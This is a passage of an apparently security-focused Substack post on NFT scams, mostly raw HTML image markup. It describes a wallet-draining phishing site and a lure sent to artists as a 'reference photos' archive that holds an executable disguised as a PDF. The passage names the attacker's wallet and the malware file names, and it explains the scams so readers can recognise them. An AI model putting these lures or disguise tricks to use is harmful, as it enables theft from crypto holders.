src="https://substackcdn.com/image/fetch/$s_!fpGx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png" width="485" height="215" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:215,&quot;width&quot;:485,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fpGx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 424w, https://substackcdn.com/image/fetch/$s_!fpGx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 848w, https://substackcdn.com/image/fetch/$s_!fpGx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 1272w, https://substackcdn.com/image/fetch/$s_!fpGx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>After victims connect their wallet, the site posts the address to its own backend api in order to check the victim&#8217;s balance and whether or not they own NFTs:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-u4X!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-u4X!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 424w, https://substackcdn.com/image/fetch/$s_!-u4X!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 848w, https://substackcdn.com/image/fetch/$s_!-u4X!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 1272w, https://substackcdn.com/image/fetch/$s_!-u4X!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-u4X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png" width="358" height="154" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:154,&quot;width&quot;:358,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-u4X!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 424w, https://substackcdn.com/image/fetch/$s_!-u4X!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 848w, https://substackcdn.com/image/fetch/$s_!-u4X!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 1272w, https://substackcdn.com/image/fetch/$s_!-u4X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18430e0a-b17d-4b04-bf25-f5bc23578a9c_358x154.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Once the relevant details are gathered, victims are tricked into authorizing transactions that send their valuable NFTs and/or the 0.33ETH to claim the Ape Coin directly to the attacker. Here&#8217;s the code that does it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oH6m!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oH6m!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 424w, https://substackcdn.com/image/fetch/$s_!oH6m!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 848w, https://substackcdn.com/image/fetch/$s_!oH6m!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 1272w, https://substackcdn.com/image/fetch/$s_!oH6m!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oH6m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png" width="559" height="630" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:630,&quot;width&quot;:559,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!oH6m!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 424w, https://substackcdn.com/image/fetch/$s_!oH6m!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 848w, https://substackcdn.com/image/fetch/$s_!oH6m!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 1272w, https://substackcdn.com/image/fetch/$s_!oH6m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7967427c-e96e-4a1f-bdc5-b82fcaf453d7_559x630.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Stolen NFTs are then sold off on OpenSea. We can see just how lucrative this scheme has been by watching the address on Etherscan:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0kA_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0kA_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 424w, https://substackcdn.com/image/fetch/$s_!0kA_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 848w, https://substackcdn.com/image/fetch/$s_!0kA_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 1272w, https://substackcdn.com/image/fetch/$s_!0kA_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0kA_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png" width="1000" height="554" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:554,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0kA_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 424w, https://substackcdn.com/image/fetch/$s_!0kA_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 848w, https://substackcdn.com/image/fetch/$s_!0kA_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 1272w, https://substackcdn.com/image/fetch/$s_!0kA_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F143715d8-759c-403c-8434-04bdef0d2abd_1000x554.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">0xed4f4f461de76264299429909cfb102283b47310</figcaption></figure></div><p>As the phishing attack continues, the bad actors behind the site rotate their address, so the $136k stolen so far only represents a portion of the final haul.</p><div><hr></div><p>Of course, not all phishing attacks are ad-powered either, some are hyper-targeted.</p><p><a href="https://twitter.com/zjorge">Jorge Ledezma</a>, a generative artist working with NFTs shared this experience with us:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PKvv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PKvv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 424w, https://substackcdn.com/image/fetch/$s_!PKvv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 848w, https://substackcdn.com/image/fetch/$s_!PKvv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 1272w, https://substackcdn.com/image/fetch/$s_!PKvv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PKvv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png" width="1000" height="679" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:679,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PKvv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 424w, https://substackcdn.com/image/fetch/$s_!PKvv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 848w, https://substackcdn.com/image/fetch/$s_!PKvv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 1272w, https://substackcdn.com/image/fetch/$s_!PKvv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17e9c140-5dee-4b2c-bd77-35f20b4522cc_1000x679.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WaIl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WaIl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 424w, https://substackcdn.com/image/fetch/$s_!WaIl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 848w, https://substackcdn.com/image/fetch/$s_!WaIl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 1272w, https://substackcdn.com/image/fetch/$s_!WaIl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WaIl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png" width="1000" height="271" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:271,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WaIl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 424w, https://substackcdn.com/image/fetch/$s_!WaIl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 848w, https://substackcdn.com/image/fetch/$s_!WaIl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 1272w, https://substackcdn.com/image/fetch/$s_!WaIl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a9c04d6-5197-441d-ab04-c7b9a054ce44_1000x271.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This is a common scenario where scammers will approach artists who they know to be involved with crypto and ask for a commissioned work. They will then send an archive of &#8220;reference photos&#8221; which unpacks to malware.</p><p>In this case:</p><p><em>Exact_sizes_to_order_from_the_artist.rar</em></p><p>Which unpacks to a Windows executable that is very poorly disguised as a PDF:</p><p><em>Exact sizes to order from the artist_document.pdf.pif</em></p><p>Virus Total gives us a clue:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t37g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t37g!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 424w, https://substackcdn.com/image/fetch/$s_!t37g!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 848w, https://substackcdn.com/image/fetch/$s_!t37g!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 1272w, https://substackcdn.com/image/fetch/$s_!t37g!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t37g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png" width="1000" height="394" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:394,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 